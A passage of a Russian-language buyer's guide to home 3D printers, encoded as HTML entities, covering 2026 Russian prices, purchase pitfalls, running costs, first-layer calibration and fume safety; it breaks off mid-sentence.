Anycubic Photon Mono M7 Pro&#x444;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;&#x2014;&#x2014;51 900


&#x41F;&#x440;&#x43E;&#x447;&#x435;&#x440;&#x43A; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x442;&#x430;&#x43C;, &#x433;&#x434;&#x435; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x443; &#x44F; &#x43D;&#x435; &#x441;&#x432;&#x435;&#x440;&#x44F;&#x43B; &#x43F;&#x43E; &#x43F;&#x435;&#x440;&#x432;&#x43E;&#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x443; &#x438; &#x43D;&#x435; &#x433;&#x43E;&#x442;&#x43E;&#x432; &#x432;&#x44B;&#x434;&#x430;&#x432;&#x430;&#x442;&#x44C; &#x437;&#x430; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x435;&#x43D;&#x43D;&#x443;&#x44E; &#x2014; &#x443;&#x442;&#x43E;&#x447;&#x43D;&#x44F;&#x439;&#x442;&#x435; &#x443; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x446;&#x430;. &#x426;&#x435;&#x43D;&#x43E;&#x432;&#x44B;&#x435; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x2014; &#x440;&#x43E;&#x437;&#x43D;&#x438;&#x446;&#x430; &#x420;&#x424; &#x43D;&#x430; 18.08.2026 &#x43F;&#x43E; &#x43F;&#x440;&#x430;&#x439;&#x441;&#x430;&#x43C; igo3d, 3DMall, ForOffice &#x438; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x433;&#x43E; &#x43C;&#x430;&#x433;&#x430;&#x437;&#x438;&#x43D;&#x430; Anycubic &#x432; &#x420;&#x424;. 

&#x421;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44C; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x438;


&#x41A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442;&#x426;&#x435;&#x43D;&#x430; &#x432; &#x420;&#x424;, &#x20BD;&#x41D;&#x430;&#x434;&#x431;&#x430;&#x432;&#x43A;&#x430; &#x43A; &#x431;&#x430;&#x437;&#x43E;&#x432;&#x43E;&#x439; &#x432;&#x435;&#x440;&#x441;&#x438;&#x438;
Bambu Lab A1 mini Combo (AMS lite)36 999~15&#x2013;17 &#x442;&#x44B;&#x441;.
Bambu Lab A1 Combo46 999~14&#x2013;17 &#x442;&#x44B;&#x441;.
Bambu Lab A2L Combo58 500&#x2013;58 999~14 &#x442;&#x44B;&#x441;.
Bambu Lab P1S Combo66 999&#x2013;69 900~17&#x2013;20 &#x442;&#x44B;&#x441;.
Bambu Lab P2S Combo (AMS 2 Pro)96 900&#x2013;96 990~28 &#x442;&#x44B;&#x441;.
Creality K2 Plus Combo &#x441; CFS157 000~29 &#x442;&#x44B;&#x441;.


&#x41F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x430;: &#x433;&#x434;&#x435; &#x442;&#x435;&#x440;&#x44F;&#x44E;&#x442; &#x434;&#x435;&#x43D;&#x44C;&#x433;&#x438;

&#x420;&#x430;&#x437;&#x431;&#x440;&#x43E;&#x441; &#x446;&#x435;&#x43D; &#x43A;&#x43E;&#x43B;&#x43E;&#x441;&#x441;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439;. Elegoo Centauri Carbon &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x438; &#x442;&#x43E;&#x433;&#x43E; &#x436;&#x435; &#x434;&#x43D;&#x44F; &#x441;&#x442;&#x43E;&#x438;&#x442; 35 000 &#x443; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x446;&#x430; &#x438; 52 000 &#x443; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x433;&#x43E;. &#x41F;&#x44F;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x43C;&#x438;&#x43D;&#x443;&#x442; &#x43D;&#x430; &#x441;&#x432;&#x435;&#x440;&#x43A;&#x443; &#x442;&#x440;&#x451;&#x445; &#x43F;&#x43B;&#x43E;&#x449;&#x430;&#x434;&#x43E;&#x43A; &#x43F;&#x435;&#x440;&#x435;&#x434; &#x43E;&#x43F;&#x43B;&#x430;&#x442;&#x43E;&#x439; &#x43E;&#x431;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x438;&#x435;&#x439; &#x432; &#x43F;&#x44F;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x442;&#x44B;&#x441;&#x44F;&#x447;. 

&#x41F;&#x43E;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#xAB;EU-&#x432;&#x435;&#x440;&#x441;&#x438;&#x44F;&#xBB; &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x438;&#x442;&#x441;&#x44F; &#x43A; &#x432;&#x438;&#x43B;&#x43A;&#x435; &#x438; &#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x438;, &#x430; &#x43D;&#x435; &#x43A; &#x43A;&#x430;&#x447;&#x435;&#x441;&#x442;&#x432;&#x443; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x438;. &#x412;&#x430;&#x436;&#x43D;&#x435;&#x435; &#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x44C;, &#x447;&#x442;&#x43E; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x432;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x432; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43A;&#x443; &#x438; &#x43A;&#x442;&#x43E; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x435;&#x442; &#x43F;&#x43E; &#x433;&#x430;&#x440;&#x430;&#x43D;&#x442;&#x438;&#x438;: &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x434;&#x438;&#x441;&#x442;&#x440;&#x438;&#x431;&#x44C;&#x44E;&#x442;&#x43E;&#x440; &#x432; &#x420;&#x424;, &#x43C;&#x430;&#x433;&#x430;&#x437;&#x438;&#x43D; &#x441; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x43C; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x43E;&#x43C; &#x438;&#x43B;&#x438; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x435;&#x446; &#x441; &#x43C;&#x430;&#x440;&#x43A;&#x435;&#x442;&#x43F;&#x43B;&#x435;&#x439;&#x441;&#x430;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x43F;&#x440;&#x438; &#x43F;&#x43E;&#x43B;&#x43E;&#x43C;&#x43A;&#x435; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x438;&#x442; &#x432;&#x430;&#x441; &#x432; &#x41A;&#x438;&#x442;&#x430;&#x439;. 

&#x421;&#x43E;&#x441;&#x442;&#x430;&#x432; Combo &#x43D;&#x435;&#x43E;&#x447;&#x435;&#x432;&#x438;&#x434;&#x435;&#x43D;. &#x411;&#x44B;&#x432;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44C; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x438; &#x432; &#x43A;&#x43E;&#x440;&#x43E;&#x431;&#x43A;&#x435; &#x435;&#x441;&#x442;&#x44C;, &#x430; &#x43A;&#x430;&#x442;&#x443;&#x448;&#x435;&#x43A; &#x43D;&#x435;&#x442;; &#x431;&#x44B;&#x432;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#xAB;Combo&#xBB; &#x443; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x446;&#x430; &#x438; &#xAB;&#x441; AMS&#xBB; &#x443; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x433;&#x43E; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x44E;&#x442; &#x440;&#x430;&#x437;&#x43D;&#x44B;&#x435; &#x43D;&#x430;&#x431;&#x43E;&#x440;&#x44B;. &#x427;&#x438;&#x442;&#x430;&#x439;&#x442;&#x435; &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442;&#x430;&#x446;&#x438;&#x44E;, &#x430; &#x43D;&#x435; &#x43D;&#x430;&#x437;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x43F;&#x43E;&#x437;&#x438;&#x446;&#x438;&#x438;. 

&#x26D4; &#x422;&#x430;&#x43A; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x411;&#x440;&#x430;&#x442;&#x44C; &#x431;&#x44B;&#x432;&#x448;&#x438;&#x439; &#x432; &#x443;&#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x43B;&#x435;&#x43D;&#x438;&#x438; &#x43F;&#x440;&#x438;&#x43D;&#x442;&#x435;&#x440; &#xAB;&#x441; &#x440;&#x443;&#x43A;, &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x43B; &#x43F;&#x430;&#x440;&#x443; &#x440;&#x430;&#x437;&#xBB; &#x431;&#x435;&#x437; &#x43B;&#x438;&#x447;&#x43D;&#x43E;&#x433;&#x43E; &#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x430; &#x438; &#x43F;&#x440;&#x43E;&#x431;&#x43D;&#x43E;&#x439; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x438;. &#x421;&#x442;&#x451;&#x440;&#x442;&#x44B;&#x435; &#x441;&#x43E;&#x43F;&#x43B;&#x430;, &#x437;&#x430;&#x431;&#x438;&#x442;&#x44B;&#x439; &#x44D;&#x43A;&#x441;&#x442;&#x440;&#x443;&#x434;&#x435;&#x440;, &#x43F;&#x440;&#x43E;&#x441;&#x435;&#x432;&#x448;&#x435;&#x435; &#x441;&#x442;&#x435;&#x43A;&#x43B;&#x43E; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x44B; &#x438; &#x432;&#x44B;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x432;&#x448;&#x438;&#x439; &#x440;&#x435;&#x441;&#x443;&#x440;&#x441; LCD &#x443; &#x444;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x438;&#x43A;&#x430; (&#x435;&#x433;&#x43E; &#x441;&#x440;&#x43E;&#x43A; &#x436;&#x438;&#x437;&#x43D;&#x438; &#x43A;&#x43E;&#x43D;&#x435;&#x447;&#x435;&#x43D; &#x438; &#x441;&#x447;&#x438;&#x442;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x43E;&#x442;&#x43D;&#x44F;&#x43C;&#x438; &#x447;&#x430;&#x441;&#x43E;&#x432;) &#x43D;&#x430; &#x444;&#x43E;&#x442;&#x43E;&#x433;&#x440;&#x430;&#x444;&#x438;&#x44F;&#x445; &#x438;&#x437; &#x43E;&#x431;&#x44A;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x43D;&#x435; &#x432;&#x438;&#x434;&#x43D;&#x44B;. 

&#x417;&#x430;&#x442;&#x440;&#x430;&#x442;&#x44B; &#x43F;&#x43E;&#x43C;&#x438;&#x43C;&#x43E; &#x441;&#x430;&#x43C;&#x43E;&#x433;&#x43E; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442;&#x430;

&#x41E;&#x431; &#x44D;&#x442;&#x43E;&#x439; &#x447;&#x430;&#x441;&#x442;&#x438; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x437;&#x430;&#x431;&#x44B;&#x432;&#x430;&#x44E;&#x442;, &#x430; &#x43D;&#x430;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x43D;&#x430; &#x43D;&#x430; 10&#x2013;20 % &#x43E;&#x442; &#x441;&#x442;&#x43E;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x438; &#x43C;&#x430;&#x448;&#x438;&#x43D;&#x44B;. 


&#x41F;&#x440;&#x443;&#x442;&#x43E;&#x43A;. &#x420;&#x43E;&#x441;&#x441;&#x438;&#x439;&#x441;&#x43A;&#x438;&#x439; PLA &#x43E;&#x431;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x432; 1 800&#x2013;2 400 &#x20BD; &#x437;&#x430; &#x43A;&#x438;&#x43B;&#x43E;&#x433;&#x440;&#x430;&#x43C;&#x43C;&#x43E;&#x432;&#x443;&#x44E; &#x43A;&#x430;&#x442;&#x443;&#x448;&#x43A;&#x443; &#x43F;&#x43E; &#x43F;&#x440;&#x430;&#x439;&#x441;&#x443; Bestfilament; &#x438;&#x43C;&#x43F;&#x43E;&#x440;&#x442;&#x43D;&#x44B;&#x435; &#x431;&#x440;&#x435;&#x43D;&#x434;&#x44B; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43D;&#x43E; &#x434;&#x43E;&#x440;&#x43E;&#x436;&#x435;. &#x41D;&#x430; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439; &#x43C;&#x435;&#x441;&#x44F;&#x446; &#x440;&#x430;&#x437;&#x443;&#x43C;&#x43D;&#x43E; &#x437;&#x430;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x442;&#x44C; &#x442;&#x440;&#x438;-&#x447;&#x435;&#x442;&#x44B;&#x440;&#x435; &#x43A;&#x430;&#x442;&#x443;&#x448;&#x43A;&#x438;.
&#x421;&#x443;&#x448;&#x438;&#x43B;&#x43A;&#x430; &#x43B;&#x438;&#x431;&#x43E; &#x433;&#x435;&#x440;&#x43C;&#x435;&#x442;&#x438;&#x447;&#x43D;&#x430;&#x44F; &#x451;&#x43C;&#x43A;&#x43E;&#x441;&#x442;&#x44C; &#x441; &#x441;&#x438;&#x43B;&#x438;&#x43A;&#x430;&#x433;&#x435;&#x43B;&#x435;&#x43C;. PETG, &#x43F;&#x43E;&#x43B;&#x438;&#x430;&#x43C;&#x438;&#x434; &#x438; TPU &#x432;&#x43F;&#x438;&#x442;&#x44B;&#x432;&#x430;&#x44E;&#x442; &#x432;&#x43B;&#x430;&#x433;&#x443; &#x438;&#x437; &#x432;&#x43E;&#x437;&#x434;&#x443;&#x445;&#x430;, &#x430; &#x43E;&#x442;&#x441;&#x44B;&#x440;&#x435;&#x432;&#x448;&#x438;&#x439; &#x43F;&#x440;&#x443;&#x442;&#x43E;&#x43A; &#x434;&#x430;&#x451;&#x442; &#x442;&#x440;&#x435;&#x441;&#x43A;, &#x43F;&#x443;&#x437;&#x44B;&#x440;&#x438; &#x438; &#x440;&#x432;&#x430;&#x43D;&#x443;&#x44E; &#x43F;&#x43E;&#x432;&#x435;&#x440;&#x445;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x2014; &#x441;&#x430;&#x43C;&#x430;&#x44F; &#x447;&#x430;&#x441;&#x442;&#x430;&#x44F; &#x43F;&#x440;&#x438;&#x447;&#x438;&#x43D;&#x430; &#x437;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x439; &#xAB;&#x43F;&#x440;&#x438;&#x43D;&#x442;&#x435;&#x440; &#x441;&#x43B;&#x43E;&#x43C;&#x430;&#x43B;&#x441;&#x44F;&#xBB;.
&#x420;&#x430;&#x441;&#x445;&#x43E;&#x434;&#x43D;&#x438;&#x43A;&#x438;. &#x417;&#x430;&#x43F;&#x430;&#x441;&#x43D;&#x44B;&#x435; &#x441;&#x43E;&#x43F;&#x43B;&#x430; (&#x43B;&#x430;&#x442;&#x443;&#x43D;&#x44C; &#x438;&#x437;&#x43D;&#x430;&#x448;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x437;&#x430; &#x441;&#x43E;&#x442;&#x43D;&#x438; &#x447;&#x430;&#x441;&#x43E;&#x432;, &#x430; &#x43D;&#x430; &#x43A;&#x43E;&#x43C;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x430;&#x445; &#x441; &#x432;&#x43E;&#x43B;&#x43E;&#x43A;&#x43D;&#x43E;&#x43C; &#x2014; &#x437;&#x430; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43A;&#x438;), &#x43A;&#x43B;&#x435;&#x435;&#x432;&#x43E;&#x439; &#x43A;&#x430;&#x440;&#x430;&#x43D;&#x434;&#x430;&#x448; &#x438;&#x43B;&#x438; &#x43B;&#x430;&#x43A; &#x434;&#x43B;&#x44F; &#x441;&#x446;&#x435;&#x43F;&#x43B;&#x435;&#x43D;&#x438;&#x44F;, &#x438;&#x437;&#x43E;&#x43F;&#x440;&#x43E;&#x43F;&#x430;&#x43D;&#x43E;&#x43B; &#x434;&#x43B;&#x44F; &#x43E;&#x447;&#x438;&#x441;&#x442;&#x43A;&#x438; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x44B;.
&#x41F;&#x440;&#x43E;&#x441;&#x442;&#x440;&#x430;&#x43D;&#x441;&#x442;&#x432;&#x43E; &#x438; &#x44D;&#x43B;&#x435;&#x43A;&#x442;&#x440;&#x43E;&#x43F;&#x438;&#x442;&#x430;&#x43D;&#x438;&#x435;. &#x410;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x445; &#x433;&#x430;&#x431;&#x430;&#x440;&#x438;&#x442;&#x43E;&#x432;: &#x43D;&#x443;&#x436;&#x435;&#x43D; &#x43F;&#x43E;&#x434;&#x445;&#x43E;&#x434; &#x441;&#x43E; &#x432;&#x441;&#x435;&#x445; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D; &#x438; &#x432;&#x435;&#x440;&#x442;&#x438;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x437;&#x430;&#x43F;&#x430;&#x441; &#x43F;&#x43E;&#x434; &#x43A;&#x430;&#x442;&#x443;&#x448;&#x43A;&#x443; &#x441;&#x432;&#x435;&#x440;&#x445;&#x443;.


&#x427;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x432; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x435; &#x442;&#x440;&#x43E;&#x435; &#x441;&#x443;&#x442;&#x43E;&#x43A;

&#x41F;&#x43E;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x441;&#x43E;&#x431;&#x440;&#x430;&#x43D;&#x430; &#x43F;&#x43E; &#x440;&#x430;&#x437;&#x434;&#x435;&#x43B;&#x430;&#x43C; &#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x43E;&#x439; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x432; &#x440;&#x443;&#x43A;&#x43E;&#x432;&#x43E;&#x434;&#x441;&#x442;&#x432;&#x430;&#x445; Bambu Lab, Creality &#x438; Elegoo

&#x417;&#x434;&#x435;&#x441;&#x44C; &#x43E;&#x447;&#x435;&#x440;&#x451;&#x434;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x432;&#x430;&#x436;&#x43D;&#x435;&#x435; &#x442;&#x435;&#x43C;&#x43F;&#x430;. &#x41A;&#x43B;&#x430;&#x441;&#x441;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x430;&#x44F; &#x43E;&#x448;&#x438;&#x431;&#x43A;&#x430; &#x43D;&#x43E;&#x432;&#x438;&#x447;&#x43A;&#x430; &#x2014; &#x43D;&#x435;&#x43C;&#x435;&#x434;&#x43B;&#x435;&#x43D;&#x43D;&#x43E; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C; &#x432; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x44C; &#x441;&#x43B;&#x43E;&#x436;&#x43D;&#x443;&#x44E; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44C; &#x438;&#x437; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x43D;&#x435;&#x442;&#x430; &#x43D;&#x430; &#x43D;&#x435;&#x437;&#x43D;&#x430;&#x43A;&#x43E;&#x43C;&#x43E;&#x43C; &#x43F;&#x440;&#x443;&#x442;&#x43A;&#x435;, &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x438;&#x442;&#x44C; &#x43A;&#x430;&#x448;&#x443; &#x438; &#x43D;&#x435; &#x440;&#x430;&#x437;&#x43E;&#x431;&#x440;&#x430;&#x442;&#x44C;&#x441;&#x44F;, &#x447;&#x442;&#x43E; &#x43F;&#x43E;&#x434;&#x432;&#x435;&#x43B;&#x43E;: &#x433;&#x435;&#x43E;&#x43C;&#x435;&#x442;&#x440;&#x438;&#x44F;, &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;, &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x44C; &#x438;&#x43B;&#x438; &#x43A;&#x430;&#x43B;&#x438;&#x431;&#x440;&#x43E;&#x432;&#x43A;&#x430;. 

&#x412;&#x435;&#x440;&#x43D;&#x430;&#x44F; &#x442;&#x430;&#x43A;&#x442;&#x438;&#x43A;&#x430; &#x2014; &#x434;&#x432;&#x438;&#x433;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43E;&#x442; &#x437;&#x430;&#x432;&#x435;&#x434;&#x43E;&#x43C;&#x43E; &#x438;&#x437;&#x432;&#x435;&#x441;&#x442;&#x43D;&#x43E;&#x433;&#x43E; &#x43A; &#x43D;&#x435;&#x438;&#x437;&#x432;&#x435;&#x441;&#x442;&#x43D;&#x43E;&#x43C;&#x443;. &#x421;&#x43F;&#x435;&#x440;&#x432;&#x430; &#x444;&#x430;&#x431;&#x440;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x44C;, &#x444;&#x430;&#x431;&#x440;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x443;&#x442;&#x43E;&#x43A;, &#x44D;&#x43B;&#x435;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x440;&#x43D;&#x430;&#x44F; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x44C;. &#x42D;&#x442;&#x430;&#x43B;&#x43E;&#x43D; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x435;&#x43D; &#x2014; &#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x43C; &#x43E;&#x434;&#x43D;&#x443; &#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x443;&#x44E; &#x438; &#x43D;&#x430;&#x431;&#x43B;&#x44E;&#x434;&#x430;&#x435;&#x43C; &#x440;&#x430;&#x437;&#x43D;&#x438;&#x446;&#x443;. 

&#x41F;&#x440;&#x43E; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439; &#x441;&#x43B;&#x43E;&#x439; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x441;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x44C; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;: &#x44D;&#x442;&#x43E; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x435;, &#x447;&#x442;&#x43E; &#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43D;&#x443;&#x436;&#x43D;&#x43E; &#x43D;&#x430;&#x443;&#x447;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x43E;&#x446;&#x435;&#x43D;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x433;&#x43B;&#x430;&#x437;&#x43E;&#x43C;. &#x414;&#x43E;&#x440;&#x43E;&#x436;&#x43A;&#x438; &#x43F;&#x435;&#x440;&#x432;&#x43E;&#x433;&#x43E; &#x441;&#x43B;&#x43E;&#x44F; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D;&#x44B; &#x441;&#x43B;&#x438;&#x43F;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x431;&#x43E;&#x43A;&#x430;&#x43C;&#x438; &#x432; &#x441;&#x43F;&#x43B;&#x43E;&#x448;&#x43D;&#x43E;&#x435; &#x43F;&#x43E;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x435; &#x2014; &#x431;&#x435;&#x437; &#x432;&#x430;&#x43B;&#x438;&#x43A;&#x430; &#x43F;&#x43E; &#x43A;&#x440;&#x430;&#x44F;&#x43C; (&#x441;&#x43E;&#x43F;&#x43B;&#x43E; &#x43E;&#x43F;&#x443;&#x449;&#x435;&#x43D;&#x43E; &#x441;&#x43B;&#x438;&#x448;&#x43A;&#x43E;&#x43C; &#x43D;&#x438;&#x437;&#x43A;&#x43E;) &#x438; &#x431;&#x435;&#x437; &#x43F;&#x440;&#x43E;&#x441;&#x432;&#x435;&#x442;&#x43E;&#x432; &#x43C;&#x435;&#x436;&#x434;&#x443; &#x43D;&#x438;&#x43C;&#x438; (&#x43F;&#x43E;&#x434;&#x43D;&#x44F;&#x442;&#x43E; &#x441;&#x43B;&#x438;&#x448;&#x43A;&#x43E;&#x43C; &#x432;&#x44B;&#x441;&#x43E;&#x43A;&#x43E;). Z-offset &#x43F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x448;&#x430;&#x433;&#x430;&#x43C;&#x438; &#x43F;&#x43E; 0,02&#x2013;0,05 &#x43C;&#x43C;, &#x430; &#x43D;&#x435; &#xAB;&#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x43F;&#x43E;&#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435;&#xBB;. 

&#x422;&#x435;&#x43C;&#x430;, &#x43E;&#x431;&#x445;&#x43E;&#x434;&#x438;&#x43C;&#x430;&#x44F; &#x432; &#x43E;&#x431;&#x437;&#x43E;&#x440;&#x430;&#x445;

FDM-&#x43F;&#x435;&#x447;&#x430;&#x442;&#x44C; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442; &#x440;&#x430;&#x437;&#x43E;&#x433;&#x440;&#x435;&#x432; &#x43F;&#x43B;&#x430;&#x441;&#x442;&#x438;&#x43A;&#x430; &#x434;&#x43E; 200&#x2013;320 &#xB0;C &#x432; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x438;, &#x432;&#x43E;&#x437;&#x434;&#x443;&#x445;&#x43E;&#x43C; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x432;&#x44B; &#x434;&#x44B;&#x448;&#x438;&#x442;&#x435;. &#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x43F;&#x43E;&#x432;&#x43E;&#x434; &#x43F;&#x430;&#x43D;&#x438;&#x43A;&#x43E;&#x432;&#x430;&#x442;&#x44C;, &#x44D;&#x442;&#x43E; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x44F;&#x435;&#x43C;&#x44B;&#x439; &#x444;&#x430;&#x43A;&#x442;. 

&#x41E;&#x442;&#x447;&#x451;&#x442; UL Chemical Insights &#x43E; &#x432;&#x43B;&#x438;&#x44F;&#x43D;&#x438;&#x438; 3D-&#x43F;&#x435;&#x447;&#x430;&#x442;&#x438; &#x43D;&#x430; &#x432;&#x43E;&#x437;&#x434;&#x443;&#x445; &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x439; &#x441;&#x43E;&#x434;&#x435;&#x440;&#x436;&#x438;&#x442; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x438;&#x43A;&#x443;: &#x432;&#x44B;&#x431;&#x440;&#x43E;&#x441; &#x447;&#x430;&#x441;&#x442;&#x438;&#x446; &#x443; &#x440;&#x430;&#x437;&#x43D;&#x44B;&#x445; &#x444;&#x438;&#x43B;&#x430;&#x43C;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43A;&#x438; &#x2014; &#x43E;&#x442; 